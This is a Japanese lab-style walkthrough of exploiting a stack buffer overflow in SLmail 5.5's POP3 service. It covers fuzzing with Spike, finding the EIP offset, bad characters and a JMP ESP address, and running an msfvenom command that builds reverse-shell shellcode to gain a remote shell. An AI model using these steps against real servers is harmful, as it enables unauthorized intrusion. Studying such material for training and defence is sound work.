
Seattle Lab Mail (SLmail) 5.5 におけるバッファオーバーフロー - POP3
Seattle Lab Mail (SLmail) 5.5 - POP3 におけるバッファオーバーフロー
シンプルなスタックベースのバッファオーバーフロー ステップバイステップ
最初のステップでは、シンプルな Spike スクリプトを使用してアプリケーションをファズします。
その間、SLmail は Immunity Debugger にアタッチ(および実行)された状態にします。
Spike の詳細: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/
以下は、spike_fuzz.spk という名前のシンプルな Spike スクリプトです。
次のコマンドを使用してアプリケーションに対して実行します。
line_send_tcp 192.168.1.117 110 spike_fuzz.spk
ここで、192.168.1.117 は SLMail を実行しているターゲットマシンの IP で、ポート 110 で動作しています。

一方、Immunity を確認すると、アプリケーションがクラッシュしていることがわかります。

次に、クラッシュを再現し、アプリケーションがクラッシュするバイト数を計算する Python の PoC を作成します。
python poc_crash.py

オフセットを見つけるために msf を利用します。
1. まずパターンを生成する
2. EIP を記録する
3. その EIP と長さを MSF でクエリしてオフセットを見つける
msf-pattern_create -l 2700

poc_offset.py では、このパターンをオーバーフローバッファとして利用します!
python poc_offset.py

この時点で、アプリケーションがクラッシュして停止した Immunity 上の EIP 値も記録します。

EIP は 39694438
::オフセットを見つける::
msf-pattern_offset -l 2700 -q 39694438

オフセットは 2606 です。つまり、EIP に到達するまでに 2606 バイトあり、EIP 自体は 4 バイトです。
次に、EIP を 4 つの B で上書きしてみます。つまり、Immunity では 42424242(4 つの B の 16 進数)が表示されるはずです。
python poc_eip_control.py

それでは Immunity を確認します。

これを簡潔にまとめます。
poc_badchars.py スクリプトを実行して、自分で不正な文字を見つけることができます。
簡潔にするために
このアプリケーションには 2 つの不正な文字(デフォルトのものも含む)があります。poc_badchars.py を初めて実行すると、文字 \x0a が問題を起こすことがわかります。そこで、これを不正な文字ペイロードから削除し、スクリプトを再実行します。2 回目には、文字 \x0d がスキップされることがわかります。これが 2 番目の不正な文字であり、ペイロードから削除します。その後、3 回目にスクリプトを実行すると、すべてが正常になります。
不正な文字は :: \x00\x0a\x0d
{ヌルバイト、改行、キャリッジリターン}
python poc_badchars.py
まず、Immunity の Mona モジュールを使用して適切なモジュールを見つけます。
slmfc.dll は、メモリ保護がないため最も適切な候補です。

次に、この DLL 内で JMP ESP のアドレスを見つけます。
このアドレスを EIP に書き込むことで、プログラムの実行を ESP にリダイレクトし、シェルコードを実行できるようにします。
!mona find -s "\xff\xe4" -m slmfc.dll
{\xff\xe4 は JMP ESP のオペコード相当}

19 個のポインタアドレスから最初のものを選択します。
ここで、すべてを組み合わせてシェルを入手します。
1.) シェルコードを生成する(不正な文字を除く)
2.) 見つけたアドレスを追加する(リトルエンディアンを忘れずに)
3.) バッファ、リターンアドレス、NOP スレッド、シェルコードを追加する
4.) シェルが手に入る
msfvenom を使用してシェルコードをすばやく生成しましょう。
msfvenom -p windows/shell_reverse_tcp LHOST=<リッスンIP> LPORT=<リッスンポート> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

すべてを exploit.py ファイルにまとめます。

今回は Immunty なしで SLmail を実行し、同時に着信接続をリッスンします。
これが完了したら、最終的な exploit.py スクリプトを実行します。

素晴らしい!シェルを入手しました!